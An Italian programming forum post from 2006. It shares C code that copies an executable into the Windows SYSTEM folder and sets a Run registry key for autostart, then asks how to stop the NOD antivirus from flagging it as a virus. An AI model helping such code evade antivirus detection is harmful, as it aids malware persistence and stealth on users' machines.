Ho un problema non da poco.. e cioè vorrei che il mio programma si avvii sempre alla partenza del computer e teoricamente sono riuscito a farlo con questo pezzo di codice:
char value1[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
char val[]="valore";
long lungval=strlen(targetx)+1;
long g=0;
HKEY chiave;
//diverso, quindi installo...
// cerca directory in cui installare
GetWindowsDirectory(targetx,MAX_PATH);
strcat(targetx,"\\SYSTEM\\mioprog.exe");
// copiaci file
CopyFile(appname,targetx,FALSE);
//aggiorna registro di configurazione
g=RegCreateKey(HKEY_LOCAL_MACHINE,value1,&chiave);
if(g==ERROR_SUCCESS)
{
g=RegSetValueEx(chiave,"mioprog",NULL,REG_SZ,targetx,lungval);
}
RegCloseKey(chiave);
ora il problema è che se lo compilo nod mi riconosce che è un nuovo virus.. ho notato che se cambio il posto dove vado a creare la chiave cioè SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run non riconosce che è un virus ma naturalmente il programma non parte all'avvio cosa mi consigliate di fare?
Ultima modifica effettuata da il 14/06/2006 alle 14:29 |